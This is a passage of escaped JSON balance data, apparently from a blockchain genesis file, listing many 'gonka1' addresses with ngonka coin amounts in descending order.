\"gonka1yn43f97x8hqq66nkezwykqcddngtz4ynwlk6y9\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"2717813483\"\n }\n ]\n },\n {\n \"address\": \"gonka17nhm4sh9wugmrpmpdchpfv5l69n2na4q72y2ch\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"2717813482\"\n }\n ]\n },\n {\n \"address\": \"gonka1u7pmx5k2s0fj37pge77vxyt2qn4ja8jjsgkl3d\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"2695474896\"\n }\n ]\n },\n {\n \"address\": \"gonka1xmjrx334m6vsv32uvt0em0jzsd8zn9qfmntmy6\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"2564657593\"\n }\n ]\n },\n {\n \"address\": \"gonka1gkdl40hfau92xwh39updqzzrpllaqv7fjanhlm\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"2527572548\"\n }\n ]\n },\n {\n \"address\": \"gonka1xlskhflqewyv2uaalp4va6efmws2fudf3qxqrn\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"2446073554\"\n }\n ]\n },\n {\n \"address\": \"gonka18vws9s85353vl20qyx5eemfuhdq0auf749hryn\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"2422922586\"\n }\n ]\n },\n {\n \"address\": \"gonka1zq6edydsgjv6k34zh36td2h238wafd6p3r605z\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"2411889280\"\n }\n ]\n },\n {\n \"address\": \"gonka1w4u0ylrw5sl7nczl52vfjzz8ccvgaltrnejklc\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"2405998742\"\n }\n ]\n },\n {\n \"address\": \"gonka1rvpg7grgz7gdj2jgpawyc3g996hktavc4e8rf5\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"2401414751\"\n }\n ]\n },\n {\n \"address\": \"gonka1tsjsvfv4n3gvwrjjla0suvwz3ypm42g0unpqpk\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"2401414751\"\n }\n ]\n },\n {\n \"address\": \"gonka1wsrytagxfhv0kn89hnzvsp8pg4xqrxq4x87s48\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"2401414751\"\n }\n ]\n },\n {\n \"address\": \"gonka1yql3sw3ptvysqgwvh6n0c2fjnyqjdd0wv4xnfn\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"2401414751\"\n }\n ]\n },\n {\n \"address\": \"gonka16lksjaqq2gqpeexvqg4xgux6hdtms3wnk4jjle\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"2302664161\"\n }\n ]\n },\n {\n \"address\": \"gonka1yhljtdxhznktmyvzns2gpeeqr8ytzcel42amg5\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"2273140919\"\n }\n ]\n },\n {\n \"address\": \"gonka1xzt80teg2sx6245gt3p96qax6dcdr56f6keqwr\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"2271913154\"\n }\n ]\n },\n {\n \"address\": \"gonka1p45pgtzjtjaq0nqxm0a6dstyeqa3lx5dpx253k\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"2263994957\"\n }\n ]\n },\n {\n \"address\": \"gonka1c5mazlks00w89uumst0ghmk0jyug24ajjrmu4e\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"2256402589\"\n }\n ]\n },\n {\n \"address\": \"gonka1leq6gdxs2d7fxqg7528hkq8tk50v2pdj2pzq9k\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"2241549835\"\n }\n ]\n },\n {\n \"address\": \"gonka12mwqjk8y4svymxjndzw4cxcpp09pj9c072l26g\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"2229759398\"\n }\n ]\n },\n {\n \"address\": \"gonka1elhpys4c6cg5k5n6093a6wm865gpyul3pr756q\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"2191785067\"\n }\n ]\n },\n {\n \"address\": \"gonka1lutcrd6ylg63293aukds7pxardj6sl4pz2y2ls\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"2191785067\"\n }\n ]\n },\n {\n \"address\": \"gonka1rccd6tq06vl2tq2rz9p6uxuuc8tn9878le92gp\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"2049597188\"\n }\n ]\n },\n {\n \"address\": \"gonka1ft0x56racya2r7asndxdrwyy9ltl993f5h7zyz\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"2022244001\"\n }\n ]\n },\n {\n \"address\": \"gonka105az9lyvju6l32qvl4xkzqru4cs4xuft8lh0e5\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1993090946\"\n }\n ]\n },\n {\n \"address\": \"gonka17f3cgvf0xd5rpafaqeugyqece62ahef2nexa9g\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1993090946\"\n }\n ]\n },\n {\n \"address\": \"gonka1kwqlf3mrlv4zg79ffuuq3uxesa22fkdfmfr9gq\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1993090946\"\n }\n ]\n },\n {\n \"address\": \"gonka1q5n2dyavs267z64kdljw4u8wy9y6a45sk020pu\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1993090946\"\n }\n ]\n },\n {\n \"address\": \"gonka1qlc7kpa3lm8fz0muw54unkwxd8rwt509y5jydd\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1993090946\"\n }\n ]\n },\n {\n \"address\": \"gonka1qp9pyg45lagg2gnpt83ryp05emlekp95jgzdja\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1993090946\"\n }\n ]\n },\n {\n \"address\": \"gonka1lf8zrnapty4nny6l9dr66nd7xc4j4ktr6rujha\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1944133310\"\n }\n ]\n },\n {\n \"address\": \"gonka1920xc45wphxgq22kfelxscp39jcc2vnmyxpday\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1885982410\"\n }\n ]\n },\n {\n \"address\": \"gonka1m935423dlgd36w2ezsn9npyfkvufk4nxmynmyf\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1885982410\"\n }\n ]\n },\n {\n \"address\": \"gonka1n3l720a7khmcx3th4xzsuttjv0xpq974ej3j6m\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1885982410\"\n }\n ]\n },\n {\n \"address\": \"gonka1slzst7ur93jz3rmakat5ygd0pyrl2nxexnwgrp\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1885982410\"\n }\n ]\n },\n {\n \"address\": \"gonka1x8emnupg2gajvsmy5zdtev26n60uh59zlqznz9\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1885982410\"\n }\n ]\n },\n {\n \"address\": \"gonka1l9eclck7nn4ame8zm26ahh4wd0j0v7atp9vuh7\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1848732764\"\n }\n ]\n },\n {\n \"address\": \"gonka19qz97dxgwgfzedtf8yzwzy43quwlggmq33hnuw\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1844957304\"\n }\n ]\n },\n {\n \"address\": \"gonka1tadzlvqgcj53nnqdlppnpxcvd98ygwp370a6tn\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1844957304\"\n }\n ]\n },\n {\n \"address\": \"gonka1w4y9r7g7fzh2zq8wxydlh4x9j26casunxfdzmk\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1844957304\"\n }\n ]\n },\n {\n \"address\": \"gonka12am8m49ejfg4n5sjxrjkgxjqeyv0knw2jxgzzg\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1833988532\"\n }\n ]\n },\n {\n \"address\": \"gonka14jrd4theu4uxr6qftuddnqehg2mrcqxzsgv4n0\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1833988532\"\n }\n ]\n },\n {\n \"address\": \"gonka18vanjpcvmnarm4t9fcdjjza3vdvnacv63n5675\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1833988532\"\n }\n ]\n },\n {\n \"address\": \"gonka1fqd0dz7mnq47p3puhpmgzvrl7x8l2awg0tlwx6\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1833988532\"\n }\n ]\n },\n {\n \"address\": \"gonka1rkzw2my8pmadftpkpfq7qnsca9fjr573xcv2m7\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1833988532\"\n }\n ]\n },\n {\n \"address\": \"gonka1ty2k0gdcnr9qflthxcd9mvmakva7arsv8m42qz\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1833988532\"\n }\n ]\n },\n {\n \"address\": \"gonka1u6gv92fshuc2z927224jecsc5hrwps4en3hlxc\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1833988532\"\n }\n ]\n },\n {\n \"address\": \"gonka1wua3u0ts50u0vs2hms9l6u04wnq3m94mn7whcq\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1833988532\"\n }\n ]\n },\n {\n \"address\": \"gonka1z43km02x94rryj03utuna9y3falahzy3fxl4kw\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1833988532\"\n }\n ]\n },\n {\n \"address\": \"gonka1tddep45jx77myyua8se2pltqe0glmp0mcgql5r\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1813086360\"\n }\n ]\n },\n {\n \"address\": \"gonka1tdm3u8fgwdqr07l9xutal8724986c4n2v8e0m7\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1813086360\"\n }\n ]\n },\n {\n \"address\": \"gonka1xp332v7jcrvyxnn20zumdfxajydak0mwxusngr\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1813086360\"\n }\n ]\n },\n {\n \"address\": \"gonka1zt4tedf2rqqdu7m53f5rhpt90pakvqcnnrg6fx\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1813086360\"\n }\n ]\n },\n {\n \"address\": \"gonka15llevgky75a7jknr5m0kzme669xuwrqdxex5f3\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1809031774\"\n }\n ]\n },\n {\n \"address\": \"gonka1m50khzaxc3pnhqpjgn8ptlv5ws5uhexnck5qht\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1685013318\"\n }\n ]\n },\n {\n \"address\": \"gonka1rd27hnfvz44x6tjc0j355yyxhgdwdkpwj6ppwq\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1679070580\"\n }\n ]\n },\n {\n \"address\": \"gonka15q3hcqdkvthz82rht3vxayfmx3u5hcq00evfxg\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1663454722\"\n }\n ]\n },\n {\n \"address\": \"gonka1r4ntslxj8f4xfmrmk939vrkknv2dfdr6rstkf9\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1663454722\"\n }\n ]\n },\n {\n \"address\": \"gonka1t45g664kkw3dhtcwgux3nvrtn9q5262ez5crlm\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1663454722\"\n }\n ]\n },\n {\n \"address\": \"gonka1tj0d67xcqhx7xv8fj96c4q0f46cdz6rx02pq8c\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1663454722\"\n }\n ]\n },\n {\n \"address\": \"gonka1wv38ew6cvmsv9t7y4h6jjdvp70k5s2mh4hhs2y\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1663454722\"\n }\n ]\n },\n {\n \"address\": \"gonka1x3uccqp4a6kse5d2r743m9zas5khz900w67hja\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1663454722\"\n }\n ]\n },\n {\n \"address\": \"gonka1z8pr9dy362yvvw9c0wx3fc8w9yrgv2ervakd3x\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1663454722\"\n }\n ]\n },\n {\n \"address\": \"gonka10rk42wkre2wp24m3n8u2maa4p2nm3ev5r0fwcy\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1627117056\"\n }\n ]\n },\n {\n \"address\": \"gonka1gz76l4rtf7rkg6fuhnyuq2w3letq9687pqznwy\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1627117056\"\n }\n ]\n },\n {\n \"address\": \"gonka1lmppztny6yhjcshlh5jd7484lms0hxvjpe8ytu\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1627117056\"\n }\n ]\n },\n {\n \"address\": \"gonka1m09t38h8fy20qx6896ht450j8rfmtdel6tq93x\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1627117056\"\n }\n ]\n },\n {\n \"address\": \"gonka1qfvwhm2cpz8y6ekvnqacmlgqhhjvws8ptkcygn\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1627117056\"\n }\n ]\n },\n {\n \"address\": \"gonka1u4vw85xxgvwmu4zgsy9fxd48w0x98d2hee98h6\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1627117056\"\n }\n ]\n },\n {\n \"address\": \"gonka1v6gq7sphhr6g7v9xnjl40uzlw39eay8t7vmc0y\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1627117056\"\n }\n ]\n },\n {\n \"address\": \"gonka1xn5rd6anmtkvdvd9hwh4d3pspxp8v458554fmk\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1627117056\"\n }\n ]\n },\n {\n \"address\": \"gonka143hahlzmxj26dlcdl5552yl9futt7jahjgeu69\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1614219386\"\n }\n ]\n },\n {\n \"address\": \"gonka1g9vvr2ynjjuf2etlzg6h22dxuxkl3zphrury58\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1614219386\"\n }\n ]\n },\n {\n \"address\": \"gonka1v3v0ydfpycqygs6jlvdzv7cjp04gsk24sepr9m\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1614219386\"\n }\n ]\n },\n {\n \"address\": \"gonka1wsx8enzwl8mnwkqfghl7gwe2x930s33qnhw4qp\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1614219386\"\n }\n ]\n },\n {\n \"address\": \"gonka1y69wttdm3vkadw004kmejj4c0dyae3cz25dxhj\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1614219386\"\n }\n ]\n },\n {\n \"address\": \"gonka1xk0hzuxrfja57xvm0r5n43v67h3cvhz4vq656l\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1605362777\"\n }\n ]\n },\n {\n \"address\": \"gonka1zqddqel0zwzae6zfeh4dpt45d5f656yghdenpp\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1593305536\"\n }\n ]\n },\n {\n \"address\": \"gonka18emzcnep4wf2kar3zy54cwl7j2j9g857q9q9qw\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1589523430\"\n }\n ]\n },\n {\n \"address\": \"gonka144sh6452klgn9mp2h9yjesdfv9qy27m3dp6pzm\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1574995627\"\n }\n ]\n },\n {\n \"address\": \"gonka1s2f53k0y5jydp25gfkz0rzxy3sxl35gyz5z3d7\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1574995627\"\n }\n ]\n },\n {\n \"address\": \"gonka1vg0ys6nafj3ete8g5td5lyag6fc06uxx40ylcu\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1574995627\"\n }\n ]\n },\n {\n \"address\": \"gonka1wmsag8tufeqxwefr8swh8v6ujy8h9z67scrxp0\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1574995627\"\n }\n ]\n },\n {\n \"address\": \"gonka1jn3ldkrdvdpcruz87p65cg8yy8dmpjrmq9g2cd\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1531654714\"\n }\n ]\n },\n {\n \"address\": \"gonka1uw65v6surnyfvykqvky6wq3s90zrknr6ceh38h\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1531654714\"\n }\n ]\n },\n {\n \"address\": \"gonka1wvs7grm0vc2a3d834sksk46hdc28ypu6dm7cmt\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1531654714\"\n }\n ]\n },\n {\n \"address\": \"gonka1ym9lr260763xk06ktu2mstmtcxztn34jvce35f\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1531654714\"\n }\n ]\n },\n {\n \"address\": \"gonka1fzh9xgz35ugt50z23wwcjvemrcq8mj34v60gme\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1502935837\"\n }\n ]\n },\n {\n \"address\": \"gonka1ke9m4zyygwa4cydfrmk6w9axthr84lwagejgve\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1502935837\"\n }\n ]\n },\n {\n \"address\": \"gonka1vll2z4rhell9kzwnagqzfwj3lqkkn4lvpyzduw\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1502935837\"\n }\n ]\n },\n {\n \"address\": \"gonka15ayg9m2kcek8l6ent5vmmczkkujumq0alrtgwz\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1502935836\"\n }\n ]\n },\n {\n \"address\": \"gonka12vq65qqgep5x2zvjxqzqtnsw2hpyz92czen8z5\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1500945892\"\n }\n ]\n },\n {\n \"address\": \"gonka1e94a7r2tn3n8ewa3mha3vjnq2dkvgt5stfqgqg\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1500945892\"\n }\n ]\n },\n {\n \"address\": \"gonka1ecercvenlsnghx4yakvdpdq2mantyh5ythhn29\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1500945892\"\n }\n ]\n },\n {\n \"address\": \"gonka1l7p83akwkcxtksnwve23x5wp47zammznm4qus8\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1500945892\"\n }\n ]\n },\n {\n \"address\": \"gonka1lwl6qhrdqw43sqc2y4eclfrngf799rnm7mmx87\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1500945892\"\n }\n ]\n },\n {\n \"address\": \"gonka1wfn87ruutktth7l8ne3rvhmlsscqxah09kua02\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1500945892\"\n }\n ]\n },\n {\n \"address\": \"gonka1wzujgkw64xvz3vqttg7ktl5tlsdga7l53g6d55\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1500945892\"\n }\n ]\n },\n {\n \"address\": \"gonka1j9xwc4d02qyujg9wvnegyk3sxtl52lc6lpa30r\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1487110895\"\n }\n ]\n },\n {\n \"address\": \"gonka1pumyaaza5qtjp0k5ur6nsyzq4n93aukph6vfex\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1479023010\"\n }\n ]\n },\n {\n \"address\": \"gonka1x55dmkfh9a0meenzwwmpdavnle0lz993xj5ayu\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1479023010\"\n }\n ]\n },\n {\n \"address\": \"gonka1j9eurz4unzt8g7ptk7sc0shmaty9gcsh64u6ap\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1475638662\"\n }\n ]\n },\n {\n \"address\": \"gonka17yy2ywjsdq652z275pte4rr7u3m7ujk7hzcy2p\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1464169878\"\n }\n ]\n },\n {\n \"address\": \"gonka1c3wneuskddk3ddx45454jhwjt679gtc3anl8c4\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1464169878\"\n }\n ]\n },\n {\n \"address\": \"gonka1n7wy6cx4mf3lw3r8ltasn2uxzxylamkrl4t0kh\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1464169878\"\n }\n ]\n },\n {\n \"address\": \"gonka1qfqj3853nxm4tesryz98fz32effv9t97s9qvcp\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1464169878\"\n }\n ]\n },\n {\n \"address\": \"gonka1slww044z57zd56q629zq4le82vw38gjkzfht8s\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1464169878\"\n }\n ]\n },\n {\n \"address\": \"gonka1yh2k3mtf4wy4ddgae29fxzdrfl3e2zcat927dq\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1464169878\"\n }\n ]\n },\n {\n \"address\": \"gonka1usnmdjdt2xfzyl9xll67mna8teupacwt0gx2yt\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1462431155\"\n }\n ]\n },\n {\n \"address\": \"gonka1ypsleu690v2pj7j7xeejcfwkdpk9ps7yfhdtdq\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1462166420\"\n }\n ]\n },\n {\n \"address\": \"gonka1zg8sly8kpvgmtg6mapx67du83n6u93z2l4vudj\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1462166420\"\n }\n ]\n },\n {\n \"address\": \"gonka1n6dhkcn2ek5yy948y487nj52hyp4mcvpxjjqed\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1452515195\"\n }\n ]\n },\n {\n \"address\": \"gonka1raes6xggfna8sxceh5z7slxvdzaa4x63hsdrr6\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1452515195\"\n }\n ]\n },\n {\n \"address\": \"gonka1y9y7027gllfnx0u04s0x4nx8u5mfaurgaw57hs\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1452515195\"\n }\n ]\n },\n {\n \"address\": \"gonka1yxjq6h8qq5kvf86004rhmxf2edwjdgynq22l4k\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1452515195\"\n }\n ]\n },\n {\n \"address\": \"gonka1zq5ar3u7l6hzrxgwn9qszy54pc89k7ueqsjwkn\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1452515195\"\n }\n ]\n },\n {\n \"address\": \"gonka1zxyjn6yuqm4e2v2wz2y7a9lhcxazc674dyvx5g\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1452515195\"\n }\n ]\n },\n {\n \"address\": \"gonka18jv6tlf26fekum8zxa5zmgnz7anqunkxddjaf9\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1412735200\"\n }\n ]\n },\n {\n \"address\": \"gonka1juyynkna0cwjg4xjlzuw62lk0u0jwnhuqegdkh\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1412735200\"\n }\n ]\n },\n {\n \"address\": \"gonka1wzm3dmnkymnuj8g5mxne9w453ef05mteun4cpz\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1412735200\"\n }\n ]\n },\n {\n \"address\": \"gonka1ylz70ycevzkv3t2s004xpetd2eqwj6ylr3fpv0\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1412735200\"\n }\n ]\n },\n {\n \"address\": \"gonka1zphxd376tvtev5drq09dtnj7nfxtghw6gtewpf\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1412735200\"\n }\n ]\n },\n {\n \"address\": \"gonka1442mg9djng8kvtmj5mjzenkakq4j7n3fs8tjkx\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1403533787\"\n }\n ]\n },\n {\n \"address\": \"gonka14sdm8urd88v49ns7n6hz99chpunxjkr0w3m8y7\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1403533787\"\n }\n ]\n },\n {\n \"address\": \"gonka16kc6rg5emg6n24pyu78a4m9p2q43tteppx4ee5\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1403533787\"\n }\n ]\n },\n {\n \"address\": \"gonka1cw76rlm0ewnj7d90fvgyp37rav9dv5hm3mvy3x\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1403533787\"\n }\n ]\n },\n {\n \"address\": \"gonka1eq8ptvu4mecxkdc7gj0eqzxp4ysjnz6f8ez43c\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1403533787\"\n }\n ]\n },\n {\n \"address\": \"gonka1ha7fpwwu9st0wgyyz9ahd3xchk05nx7mtj4ng8\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1403533787\"\n }\n ]\n },\n {\n \"address\": \"gonka1t9scyr8q6dh3xsajedllt6dn4szd06fvnqjt2y\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1403533787\"\n }\n ]\n },\n {\n \"address\": \"gonka1ttrglrkzc96auuaq6nrv0wdygwm7ph5887j9wr\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1403533787\"\n }\n ]\n },\n {\n \"address\": \"gonka19g7jp7tcpnh9ul6gkr3kdc3lmcy55w6swvql0f\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1380879260\"\n }\n ]\n },\n {\n \"address\": \"gonka1dgkjlfqrm56tr6evkydg2qkkldzancnm097hj4\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1377704962\"\n }\n ]\n },\n {\n \"address\": \"gonka1e38cgywjkf4hejnf9utmpguq3qug0s5rd45kqm\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1350159486\"\n }\n ]\n },\n {\n \"address\": \"gonka1jcelp2ad2x0jf2vnyhkhd6wquug0zpd09sxxw4\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1350159486\"\n }\n ]\n },\n {\n \"address\": \"gonka1kdmstpljv33v8lz457lmj8f9g995l7ygwm460s\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1350159486\"\n }\n ]\n },\n {\n \"address\": \"gonka1l0enytn32rklk95dxrdt3v39hktxdw79trvgj5\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1350159486\"\n }\n ]\n },\n {\n \"address\": \"gonka1l0qv64xdu3dk2zzm5vk97j0drcmkus95u50gqk\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1350159486\"\n }\n ]\n },\n {\n \"address\": \"gonka1l6pp6p5hgaa69rj0eazn73f7gkawue94fq5v9g\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1350159486\"\n }\n ]\n },\n {\n \"address\": \"gonka1nkzdygk3g2p2usnueuqxyep3462350hgzxs86s\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1350159486\"\n }\n ]\n },\n {\n \"address\": \"gonka1tmk2tzdneht6smu34pkmqdvu7p34qavvmwtwq2\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1350159486\"\n }\n ]\n },\n {\n \"address\": \"gonka1u9a7r4w76gult5n9ysadnual9fghkc6yda60wj\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1350159486\"\n }\n ]\n },\n {\n \"address\": \"gonka1usmu5mfu8vsafvsrsvdutl50vy8kumdhv0j2x9\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1350159486\"\n }\n ]\n },\n {\n \"address\": \"gonka1vcawx5jc2hahydd9sqw30hlxyd9ppupm9ez0yz\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1350159486\"\n }\n ]\n },\n {\n \"address\": \"gonka1y62nqpx6ywvshndet4806nf0wasm4959hv9fgu\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1328322785\"\n }\n ]\n },\n {\n \"address\": \"gonka18anrx4l59z34te42whq5nx3xy7ftlw0ka98lkx\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": 